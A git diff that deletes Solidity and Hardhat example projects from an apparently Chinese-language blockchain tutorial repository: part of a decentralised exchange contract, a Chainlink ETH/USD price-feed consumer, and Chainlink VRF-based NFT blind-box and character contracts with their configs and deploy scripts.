-        accountLevelsAddr = accountLevelsAddr_;
-        feeMake = feeMake_;
-        feeTake = feeTake_;
-        feeRebate = feeRebate_;
-    }
-
-    function() {
-        throw;
-    }
-
-    function changeAdmin(address admin_) {
-        if (msg.sender != admin) throw;
-        admin = admin_;
-    }
-
-    function changeAccountLevelsAddr(address accountLevelsAddr_) {
-        if (msg.sender != admin) throw;
-        accountLevelsAddr = accountLevelsAddr_;
-    }
-
-    function changeFeeAccount(address feeAccount_) {
-        if (msg.sender != admin) throw;
-        feeAccount = feeAccount_;
-    }
-
-    function changeFeeMake(uint feeMake_) {
-        if (msg.sender != admin) throw;
-        if (feeMake_ > feeMake) throw;
-        feeMake = feeMake_;
-    }
-
-    function changeFeeTake(uint feeTake_) {
-        if (msg.sender != admin) throw;
-        if (feeTake_ > feeTake || feeTake_ < feeRebate) throw;
-        feeTake = feeTake_;
-    }
-
-    function changeFeeRebate(uint feeRebate_) {
-        if (msg.sender != admin) throw;
-        if (feeRebate_ < feeRebate || feeRebate_ > feeTake) throw;
-        feeRebate = feeRebate_;
-    }
-
-    function deposit() payable {
-        tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
-        Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
-    }
-
-    function withdraw(uint amount) {
-        if (tokens[0][msg.sender] < amount) throw;
-        tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
-        if (!msg.sender.call.value(amount)()) throw;
-        Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
-    }
-
-    function depositToken(address token, uint amount) {
-        //remember to call Token(address).approve(this, amount) or this contract will not be able to do the transfer on your behalf.
-        if (token==0) throw;
-        if (!Token(token).transferFrom(msg.sender, this, amount)) throw;
-        tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
-        Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
-    }
-
-    function withdrawToken(address token, uint amount) {
-        if (token==0) throw;
-        if (tokens[token][msg.sender] < amount) throw;
-        tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
-        if (!Token(token).transfer(msg.sender, amount)) throw;
-        Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
-    }
-
-    function balanceOf(address token, address user) constant returns (uint) {
-        return tokens[token][user];
-    }
-
-    function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) {
-        bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
-        orders[msg.sender][hash] = true;
-        Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
-    }
-
-    function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) {
-        //amount is in amountGet terms
-        bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
-        if (!(
-        (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
-        block.number <= expires &&
-        safeAdd(orderFills[user][hash], amount) <= amountGet
-        )) throw;
-        tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
-        orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
-        Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
-    }
-
-    function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
-        uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
-        uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
-        uint feeRebateXfer = 0;
-        if (accountLevelsAddr != 0x0) {
-            uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
-            if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
-            if (accountLevel==2) feeRebateXfer = feeTakeXfer;
-        }
-        tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
-        tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
-        tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
-        tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
-        tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
-    }
-
-    function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) constant returns(bool) {
-        if (!(
-        tokens[tokenGet][sender] >= amount &&
-        availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
-        )) return false;
-        return true;
-    }
-
-    function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
-        bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
-        if (!(
-        (orders[user][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == user) &&
-        block.number <= expires
-        )) return 0;
-        uint available1 = safeSub(amountGet, orderFills[user][hash]);
-        uint available2 = safeMul(tokens[tokenGive][user], amountGet) / amountGive;
-        if (available1<available2) return available1;
-        return available2;
-    }
-
-    function amountFilled(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) constant returns(uint) {
-        bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
-        return orderFills[user][hash];
-    }
-
-    function cancelOrder(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, uint8 v, bytes32 r, bytes32 s) {
-        bytes32 hash = sha256(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce);
-        if (!(orders[msg.sender][hash] || ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash),v,r,s) == msg.sender)) throw;
-        orderFills[msg.sender][hash] = amountGet;
-        Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);
-    }
-}
\ No newline at end of file
diff --git a/Example14-hardhat-chainlink-PriceFeed/README.md b/Example14-hardhat-chainlink-PriceFeed/README.md
deleted file mode 100644
index 6c120a17c..000000000
--- a/Example14-hardhat-chainlink-PriceFeed/README.md
+++ /dev/null
@@ -1,24 +0,0 @@
-# 参考文档
-参考文档链接如下：
-https://zh.chain.link/
-https://mp.weixin.qq.com/s/h0uTWY7vzd-CMdr1pE7_YQ
-https://docs.chain.link/docs/ethereum-addresses/
-
-# 测试流程 
-### 安装依赖
-```
-npm install 
-```
-
-### 执行测试脚本 
-```
-npx hardhat run scripts/deploy.js --network kovan
-```
-//todo
- 增加聚合方式获取。
- 
-
- https://learnblockchain.cn/article/2237
- https://learnblockchain.cn/article/2558
- https://learnblockchain.cn/article/1056
- https://mp.weixin.qq.com/s/h0uTWY7vzd-CMdr1pE7_YQ  
\ No newline at end of file
diff --git a/Example14-hardhat-chainlink-PriceFeed/contracts/PriceConsumerV3.sol b/Example14-hardhat-chainlink-PriceFeed/contracts/PriceConsumerV3.sol
deleted file mode 100644
index 87f34726e..000000000
--- a/Example14-hardhat-chainlink-PriceFeed/contracts/PriceConsumerV3.sol
+++ /dev/null
@@ -1,31 +0,0 @@
-pragma solidity ^0.6.6;
-
-import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol";
-
-contract PriceConsumerV3 {
-
-    AggregatorV3Interface internal priceFeed;
-
-    /**
-     * Network: Kovan
-     * Aggregator: ETH/USD
-     * Address: 0x9326BFA02ADD2366b30bacB125260Af641031331
-     */
-    constructor(address _priceFeed) public {
-        priceFeed = AggregatorV3Interface(_priceFeed);
-    }
-
-    /**
-     * Returns the latest price
-     */
-    function getLatestPrice() public view returns (int) {
-        (
-            uint80 roundID, 
-            int price,
-            uint startedAt,
-            uint timeStamp,
-            uint80 answeredInRound
-        ) = priceFeed.latestRoundData();
-        return price;
-    }
-}
diff --git a/Example14-hardhat-chainlink-PriceFeed/hardhat.config.js b/Example14-hardhat-chainlink-PriceFeed/hardhat.config.js
deleted file mode 100644
index 4578eb935..000000000
--- a/Example14-hardhat-chainlink-PriceFeed/hardhat.config.js
+++ /dev/null
@@ -1,66 +0,0 @@
-require("@nomiclabs/hardhat-waffle")
-require("@nomiclabs/hardhat-ethers")
-require("@nomiclabs/hardhat-web3")
-require("@nomiclabs/hardhat-truffle5")
-require("hardhat-deploy")
-const fs = require("fs");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-function mnemonic() {
-
-  return fs.readFileSync("./sk.txt").toString().trim();
-
-}
-
-// You need to export an object to set up your config
-// Go to https://hardhat.org/config/ to learn more
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-const kovanRpcUrl = "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07"
-const privateKey = mnemonic()
-
-module.exports = {
-  defaultNetwork: "hardhat",
-  networks: {
-    hardhat: {
-      // // If you want to do some forking, uncomment this
-      // forking: {
-      //   url: mainnetRpcUrl
-      // }
-    },
-    kovan: {
-      url: kovanRpcUrl,
-      accounts: [privateKey],
-      saveDeployments: true
-    }
-  },
-  namedAccounts: {
-    deployer: {
-      default: 0, // here this will by default take the first account as deployer
-      1: 0 // similarly on mainnet it will take the first account as deployer. Note though that depending on how hardhat network are configured, the account 0 on one network can be different than on another
-    },
-    feeCollector: {
-      default: 1
-    }
-  },
-  solidity: {
-    compilers: [
-      {
-        version: "0.6.6"
-      }
-    ]
-  }
-}
-
-
diff --git a/Example14-hardhat-chainlink-PriceFeed/package.json b/Example14-hardhat-chainlink-PriceFeed/package.json
deleted file mode 100644
index dcaed3130..000000000
--- a/Example14-hardhat-chainlink-PriceFeed/package.json
+++ /dev/null
@@ -1,26 +0,0 @@
-{
-  "name": "Example14-hardhat-chainlink-PriceFeed",
-  "version": "1.0.0",
-  "description": "",
-  "main": "index.js",
-  "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC",
-  "devDependencies": {
-    "@chainlink/contracts": "^0.1.7",
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-truffle5": "^2.0.0",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "@nomiclabs/hardhat-web3": "^2.0.0",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.2.0",
-    "hardhat": "^2.3.0",
-    "hardhat-deploy": "^0.7.9",
-    "web3": "^1.3.6"
-  },
-  "dependencies": {}
-}
diff --git a/Example14-hardhat-chainlink-PriceFeed/scripts/deploy.js b/Example14-hardhat-chainlink-PriceFeed/scripts/deploy.js
deleted file mode 100644
index b0710a671..000000000
--- a/Example14-hardhat-chainlink-PriceFeed/scripts/deploy.js
+++ /dev/null
@@ -1,39 +0,0 @@
-const hre = require("hardhat");
-require("@nomiclabs/hardhat-web3")
-
-async function main() {
-
-    const [deployer] = await ethers.getSigners();
-
-    console.log(
-        "Deploying contracts with the account:",
-        deployer.address
-    );
-
-    // PRICE_FEED_CONTRACT 在 kovan 上的合约地址  
-    const PRICE_FEED_CONTRACT="0x9326BFA02ADD2366b30bacB125260Af641031331";
-
-    // 部署 PriceConsumerV3 合约
-    const priceConsumerV3 = await ethers.getContractFactory("PriceConsumerV3");
-    const PriceConsumerV3Ins = await priceConsumerV3.deploy(PRICE_FEED_CONTRACT);
-
-    console.log("----------------------------------------------------")
-    console.log("PriceConsumerV3 address:", PriceConsumerV3Ins.address);
-
-    //await priceConsumerV3.deployed()
-    console.log("Read Price from  PRICE_FEED")
-
-    await PriceConsumerV3Ins.getLatestPrice().then(function (data) {
-        console.log('Current price of ETH / USD is: ', web3.utils.hexToNumber(data._hex))
-      })
-    
-}
-
-// We recommend this pattern to be able to use async/await everywhere
-// and properly handle errors.
-main()
-  .then(() => process.exit(0))
-  .catch(error => {
-    console.error(error);
-    process.exit(1);
-  });
diff --git a/Example14-hardhat-chainlink-PriceFeed/test/sample-test.js b/Example14-hardhat-chainlink-PriceFeed/test/sample-test.js
deleted file mode 100644
index 83bee5a56..000000000
--- a/Example14-hardhat-chainlink-PriceFeed/test/sample-test.js
+++ /dev/null
@@ -1,14 +0,0 @@
-const { expect } = require("chai");
-
-describe("Greeter", function() {
-  it("Should return the new greeting once it's changed", async function() {
-    const Greeter = await ethers.getContractFactory("Greeter");
-    const greeter = await Greeter.deploy("Hello, world!");
-    
-    await greeter.deployed();
-    expect(await greeter.greet()).to.equal("Hello, world!");
-
-    await greeter.setGreeting("Hola, mundo!");
-    expect(await greeter.greet()).to.equal("Hola, mundo!");
-  });
-});
diff --git a/Example15-nft-blindbox-chainlink-vrf/backup/CatBlindbox.sol b/Example15-nft-blindbox-chainlink-vrf/backup/CatBlindbox.sol
deleted file mode 100644
index 47f5b284d..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/backup/CatBlindbox.sol
+++ /dev/null
@@ -1,107 +0,0 @@
-// contracts/DungeonsAndDragonsCharacter.sol
-// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.0;
-import "../simpleVrf/RandomNumberSampleVRF.sol";
-import "../simpleVrf/Ownable.sol";
-import "../bac002/BAC002.sol";
-
-
-
-contract CatBlindbox is BAC002, Ownable {
-    using SafeMath for uint256;
-    event ResultOfNewBlindboxCat(address sender,string catName,bytes32 requestId);
-    event SurpriseCat(bytes32 requestId,string name,string series,uint256 birthTime,address owner,string images);
-
-    //American Shorthair 美短   British Shorthair  英短   Japanese Bobtail 日本短尾猫   Chinese Orange 中华橘猫    Russian Blue 俄罗斯蓝猫    Persian 波斯猫   Ragdoll 布偶猫
-    string[7] catsSpecies = ["American Shorthair", "British Shorthair", "Japanese Bobtail", "Chinese Orange", "Russian Blue", "Persian", "Ragdoll"];
-
-    string[7] catImagesUri=["https://pic1.zhimg.com/80/v2-33f59a4343abb6a49b352789377ff5d8_1440w.jpg",
-                          "https://pic2.zhimg.com/80/v2-6838d36654876924d75e8cc11545399d_1440w.jpg",
-                          "https://pic1.zhimg.com/80/v2-25e8bb0321b78da95990bcdedb692c0c_1440w.jpg",
-                            "https://pic1.zhimg.com/v2-82c6c9ea312eb5eeb93d7f53c8e3259a_1440w.jpg",
-                            "https://pic1.zhimg.com/80/v2-ce3a26ff6f96c222a9ee93d8179328dc_1440w.jpg",
-                            "https://pic4.zhimg.com/80/v2-7a4f80d774519b1cf4be4bcfd5641427_1440w.jpg",
-                            "https://pic1.zhimg.com/80/v2-f8d012397a26872df456291ae1772b58_1440w.jpg"];
-
-    struct CatSpecies{
-        string species;
-        string images;
-    }
-
-    struct Cat {
-        uint256 catId;
-        string name;
-        string species;
-        uint256 birthTime;
-        address owner;
-        string images;
-    }
-
-
-    CatSpecies[] catSpeciesPool;//猫池，所有盲盒中，还剩下的猫类型
-    Cat[] public generatedCats;//已经产生的猫
-    mapping(bytes32 => string)  requestToCatName;
-    mapping(bytes32 => address) requestToSender;
-    RandomNumberSampleVRF private oracle;
-
-    constructor(address randomOracle) public BAC002("CatBlindBoxSeries", "Cat"){
-        oracle = RandomNumberSampleVRF(randomOracle);
-        for(uint i=0;i<catsSpecies.length;i++){
-           catSpeciesPool.push(CatSpecies(catsSpecies[i],catImagesUri[i]));
-        }
-    }
-
-    function requestNewBlindboxCat(
-        uint256 userProvidedSeed,
-        string  name
-    ) public returns (bytes32) {
-        require(catSpeciesPool.length >0 , "There are no blind box cats!");
-        bytes32  requestId = oracle.getRandomNumber(userProvidedSeed);
-        requestToCatName[requestId] = name;
-        requestToSender[requestId] = msg.sender;
-        emit ResultOfNewBlindboxCat(msg.sender,name,requestId);
-        return requestId;
-    }
-
-
-    function generateBlindBoxCat(bytes32 requestId) public {
-        require(catSpeciesPool.length >0 , "There are no blind box cats!");
-        require(oracle.checkIdFulfilled(requestId) == false, " oracle query has not been fulfilled!");
-        uint256 randomness  = oracle.getById(requestId);
-        uint8 index = uint8((randomness) % catSpeciesPool.length);
-        string name =  requestToCatName[requestId];
-        // string  images = catImagesUri[index];
-         CatSpecies memory catSpecies = catSpeciesPool[index];
-        _removeCatSpeciesByIndex(index);
-        uint256 birthTime = block.timestamp;
-        uint256 nftId = generatedCats.length;
-        generatedCats.push(Cat(nftId,name, catSpecies.species, birthTime, requestToSender[requestId], catSpecies.images));
-        issueWithAssetURI(requestToSender[requestId], nftId, catSpecies.images, "");
-        emit SurpriseCat(requestId, name,catSpecies.species, birthTime,requestToSender[requestId], catSpecies.images);
-    }
-
-
-    function getCatInfo(uint256 catId)
-    public
-    view
-    returns (uint256,string,string, uint256 , address , string )
-    {
-        Cat memory cat = generatedCats[catId];
-            return (cat.catId,
-                    cat.name,
-                    cat.species,
-                    cat.birthTime,
-                    cat.owner,
-                    cat.images);
-    }
-
-    function _removeCatSpeciesByIndex(uint8 index)internal{
-        catSpeciesPool[index]=catSpeciesPool[catSpeciesPool.length-1];
-        delete catSpeciesPool[catSpeciesPool.length - 1];
-        catSpeciesPool.length = catSpeciesPool.length-1;
-    }
-
-    function getLength()public view returns(uint256){
-        return catSpeciesPool.length;
-    }
-}
diff --git a/Example15-nft-blindbox-chainlink-vrf/contracts/RandomNumberVRF.sol b/Example15-nft-blindbox-chainlink-vrf/contracts/RandomNumberVRF.sol
deleted file mode 100644
index c630b1e31..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/contracts/RandomNumberVRF.sol
+++ /dev/null
@@ -1,67 +0,0 @@
-pragma solidity ^0.6.6;
-
-import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
-
-contract RandomNumberVRF is VRFConsumerBase {
-
-    bytes32 internal keyHash;
-    uint256 internal fee;
-    uint256 public randomResult;
-    address public VRFCoordinator;
-    // rinkeby: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B
-    address public LinkToken;
-    // rinkeby: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709a
-
-
-    mapping(bytes32=>uint256) private resultMap;
-    mapping(bytes32=>bool) private validIds;
-
-    /**
-       * Constructor inherits VRFConsumerBase
-       *
-       * Network: kovan
-       * Chainlink VRF Coordinator address: 0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9
-       * LINK token address:                0xa36085F69e2889c224210F603D836748e7dC0088
-       * Key Hash: 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4
-       */
-    constructor(address _VRFCoordinator, address _LinkToken, bytes32 _keyhash)
-    public
-    VRFConsumerBase(_VRFCoordinator, _LinkToken)
-    {
-        VRFCoordinator = _VRFCoordinator;
-        LinkToken = _LinkToken;
-        keyHash = _keyhash;
-        fee = 0.1 * 10**18; // 0.1 LINK
-    }
-
-    function requestRandomNumber(uint256 userProvidedSeed) public returns (bytes32) {
-        require(
-            LINK.balanceOf(address(this)) >= fee,
-            "Not enough LINK - fill contract with faucet"
-        );
-        bytes32 requestId = requestRandomness(keyHash, fee, userProvidedSeed);
-        validIds[requestId] = true;
-        return requestId;
-    }
-
-    function fulfillRandomness(bytes32 requestId, uint256 randomNumber) internal override
-    {
-        require(validIds[requestId], "id must be not used!") ;
-        randomResult = randomNumber;
-        resultMap[requestId]=  randomResult;
-        delete validIds[requestId];
-    }
-
-    function get()  public view  returns(uint256){
-        return randomResult;
-    }
-
-    function getById(bytes32 id)  public view  returns(uint256){
-        return resultMap[id];
-    }
-
-    function checkIdFulfilled(bytes32 id)  public view  returns(bool){
-        return validIds[id];
-    }
-
-}
\ No newline at end of file
diff --git a/Example15-nft-blindbox-chainlink-vrf/contracts/blindbox.sol b/Example15-nft-blindbox-chainlink-vrf/contracts/blindbox.sol
deleted file mode 100644
index 986978354..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/contracts/blindbox.sol
+++ /dev/null
@@ -1,179 +0,0 @@
-// contracts/DungeonsAndDragonsCharacter.sol
-// SPDX-License-Identifier: MIT
-pragma solidity ^0.6.6;
-
-import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
-import "@chainlink/contracts/src/v0.6/VRFConsumerBase.sol";
-import "@openzeppelin/contracts/access/Ownable.sol";
-import "@openzeppelin/contracts/utils/Strings.sol";
-
-contract DungeonsAndDragonsCharacter is ERC721, VRFConsumerBase, Ownable {
-    using SafeMath for uint256;
-    using Strings for string;
-
-    bytes32 internal keyHash;
-    uint256 internal fee;
-    uint256 public randomResult;
-    address public VRFCoordinator;
-    // rinkeby: 0xb3dCcb4Cf7a26f6cf6B120Cf5A73875B7BBc655B
-    address public LinkToken;
-    // rinkeby: 0x01BE23585060835E02B77ef475b0Cc51aA1e0709a
-
-    struct Character {
-        uint256 strength;
-        uint256 dexterity;
-        uint256 constitution;
-        uint256 intelligence;
-        uint256 wisdom;
-        uint256 charisma;
-        uint256 experience;
-        string name;
-    }
-
-    Character[] public characters;
-
-    mapping(bytes32 => string) requestToCharacterName;
-    mapping(bytes32 => address) requestToSender;
-    mapping(bytes32 => uint256) requestToTokenId;
-
-    /**
-     * Constructor inherits VRFConsumerBase
-     *
-     * Network: kovan
-     * Chainlink VRF Coordinator address: 0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9
-     * LINK token address:                0xa36085F69e2889c224210F603D836748e7dC0088
-     * Key Hash: 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4
-     */
-    constructor(address _VRFCoordinator, address _LinkToken, bytes32 _keyhash)
-    public
-    VRFConsumerBase(_VRFCoordinator, _LinkToken)
-    ERC721("DungeonsAndDragonsCharacter", "D&D")
-    {
-        VRFCoordinator = _VRFCoordinator;
-        LinkToken = _LinkToken;
-        keyHash = _keyhash;
-        fee = 0.1 * 10**18; // 0.1 LINK
-    }
-
-    function requestNewRandomCharacter(
-        uint256 userProvidedSeed,
-        string memory name
-    ) public returns (bytes32) {
-        require(
-            LINK.balanceOf(address(this)) >= fee,
-            "Not enough LINK - fill contract with faucet"
-        );
-        bytes32 requestId = requestRandomness(keyHash, fee, userProvidedSeed);
-        requestToCharacterName[requestId] = name;
-        requestToSender[requestId] = msg.sender;
-        return requestId;
-    }
-
-    function getTokenURI(uint256 tokenId) public view returns (string memory) {
-        return tokenURI(tokenId);
-    }
-
-    function setTokenURI(uint256 tokenId, string memory _tokenURI) public {
-        require(
-            _isApprovedOrOwner(_msgSender(), tokenId),
-            "ERC721: transfer caller is not owner nor approved"
-        );
-        _setTokenURI(tokenId, _tokenURI);
-    }
-
-    function fulfillRandomness(bytes32 requestId, uint256 randomNumber)
-    internal
-    override
-    {
-        uint256 newId = characters.length;
-        uint256 strength = (randomNumber % 100);
-        uint256 dexterity = ((randomNumber % 10000) / 100 );
-        uint256 constitution = ((randomNumber % 1000000) / 10000 );
-        uint256 intelligence = ((randomNumber % 100000000) / 1000000 );
-        uint256 wisdom = ((randomNumber % 10000000000) / 100000000 );
-        uint256 charisma = ((randomNumber % 1000000000000) / 10000000000);
-        uint256 experience = 0;
-
-        characters.push(
-            Character(
-                strength,
-                dexterity,
-                constitution,
-                intelligence,
-                wisdom,
-                charisma,
-                experience,
-                requestToCharacterName[requestId]
-            )
-        );
-        _safeMint(requestToSender[requestId], newId);
-    }
-
-    function getLevel(uint256 tokenId) public view returns (uint256) {
-        return sqrt(characters[tokenId].experience);
-    }
-
-    function getNumberOfCharacters() public view returns (uint256) {
-        return characters.length;
-    }
-
-    function getCharacterOverView(uint256 tokenId)
-    public
-    view
-    returns (
-        string memory,
-        uint256,
-        uint256,
-        uint256
-    )
-    {
-        return (
-        characters[tokenId].name,
-        characters[tokenId].strength + characters[tokenId].dexterity + characters[tokenId].constitution + characters[tokenId].intelligence + characters[tokenId].wisdom + characters[tokenId].charisma,
-        getLevel(tokenId),
-        characters[tokenId].experience
-        );
-    }
-
-    function getCharacterStats(uint256 tokenId)
-    public
-    view
-    returns (
-        uint256,
-        uint256,
-        uint256,
-        uint256,
-        uint256,
-        uint256,
-        uint256
-    )
-    {
-        return (
-        characters[tokenId].strength,
-        characters[tokenId].dexterity,
-        characters[tokenId].constitution,
-        characters[tokenId].intelligence,
-        characters[tokenId].wisdom,
-        characters[tokenId].charisma,
-        characters[tokenId].experience
-        );
-    }
-
-    function sqrt(uint256 x) internal view returns (uint256 y) {
-        uint256 z = (x + 1) / 2;
-        y = x;
-        while (z < y) {
-            y = z;
-            z = (x / z + z) / 2;
-        }
-    }
-
-// expand to more random
-//    function expand(uint256 randomValue, uint256 n) public pure returns (uint256[] memory expandedValues) {
-//        expandedValues = new uint256[](n);
-//        for (uint256 i = 0; i < n; i++) {
-//            expandedValues[i] = uint256(keccak256(abi.encode(randomValue, i)));
-//        }
-//        return expandedValues;
-//    }
-}
diff --git a/Example15-nft-blindbox-chainlink-vrf/hardhat.config.js b/Example15-nft-blindbox-chainlink-vrf/hardhat.config.js
deleted file mode 100644
index 871156194..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/hardhat.config.js
+++ /dev/null
@@ -1,73 +0,0 @@
-require("@nomiclabs/hardhat-waffle");
-const fs = require("fs");
-
-// This is a sample Hardhat task. To learn how to create your own go to
-// https://hardhat.org/guides/create-task.html
-task("accounts", "Prints the list of accounts", async () => {
-  const accounts = await ethers.getSigners();
-  
-  for (const account of accounts) {
-    console.log(account.address);
-  }
-});
-
-// You need to export an object to set up your config
-// Go to https://hardhat.org/config/ to learn more
-
-function mnemonic() {
-  
-  return fs.readFileSync("./sk.txt").toString().trim();
-  
-}
-
-/**
- * @type import('hardhat/config').HardhatUserConfig
- */
-module.exports = {
-  solidity: {
-    compilers: [
-      {
-        version: "0.8.3"
-      },
-      {
-        version: "0.6.6",
-        settings: {}
-      }
-    ]
-  },
-  
-  networks: {
-    localhost: {
-      url: "http://localhost:8545",
-      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
-      /*
-        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
-        (you can put in a mnemonic here to set the deployer locally)
-      */
-    },
-    rinkeby: {
-      url: "https://rinkeby.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    kovan: {
-      url: "https://kovan.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    mainnet: {
-      url: "https://mainnet.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-    ropsten: {
-      url: "https://ropsten.infura.io/v3/0aae8358bfe04803b8e75bb4755eaf07", //<---- YOUR INFURA ID! (or it won't work)
-      accounts: [
-        mnemonic()
-      ],
-    },
-  }
-};
\ No newline at end of file
diff --git a/Example15-nft-blindbox-chainlink-vrf/package.json b/Example15-nft-blindbox-chainlink-vrf/package.json
deleted file mode 100644
index 41b5bad1a..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/package.json
+++ /dev/null
@@ -1,14 +0,0 @@
-{
-  "name": "hardhat-project",
-  "devDependencies": {
-    "@nomiclabs/hardhat-ethers": "^2.0.2",
-    "@nomiclabs/hardhat-waffle": "^2.0.1",
-    "@chainlink/contracts": "0.1.7",
-    "@openzeppelin/contracts": "3.1.0",
-    "chai": "^4.3.4",
-    "ethereum-waffle": "^3.3.0",
-    "ethers": "^5.3.1",
-    "hardhat": "^2.3.3",
-    "@openzeppelin/test-helpers": "^0.5.6"
-  }
-}
diff --git a/Example15-nft-blindbox-chainlink-vrf/readme.md b/Example15-nft-blindbox-chainlink-vrf/readme.md
deleted file mode 100644
index 74fd1143c..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/readme.md
+++ /dev/null
@@ -1,12 +0,0 @@
-## 基于 chainlink vrf的 nft盲盒设计
-  VRF 为链上安全可验证随机数，请查看 [chainlink vrf官方文档](https://docs.chain.link/docs/get-a-random-number);
-
-
-## 参考链接
-https://github.com/PatrickAlphaC/dungeons-and-dragons-nft
-
-https://learnblockchain.cn/article/2186
-
-https://learnblockchain.cn/article/1776
-
-https://learnblockchain.cn/article/1056
\ No newline at end of file
diff --git a/Example15-nft-blindbox-chainlink-vrf/scripts/deploy.js b/Example15-nft-blindbox-chainlink-vrf/scripts/deploy.js
deleted file mode 100644
index 62203a7ed..000000000
--- a/Example15-nft-blindbox-chainlink-vrf/scripts/deploy.js
+++ /dev/null
@@ -1,49 +0,0 @@
-
-const hre = require("hardhat");
-async function main() {
-
-// * Chainlink VRF Coordinator address: 0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9
-//     * LINK token address:                0xa36085F69e2889c224210F603D836748e7dC0088
-//     * Key Hash: 0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4
-  
-  // We get the contract to deploy
-    const Dnd = await hre.ethers.getContractFactory("DungeonsAndDragonsCharacter");
-    const Coordinator = "0xdD3782915140c8f3b190B5D67eAc6dc5760C46E9";
-    const LINK = "0xa36085F69e2889c224210F603D836748e7dC0088";
-    const KeyHash = "0x6c3699283bda56ad74f6b855546325b68d482e983852a7a82979cc4807b641f4";
-    
-    const dnd = await Dnd.deploy(Coordinator, LINK, KeyHash);
-
-    await dnd.deployed();
-
-    console.log("dnd deployed to:", dnd.address);
-    
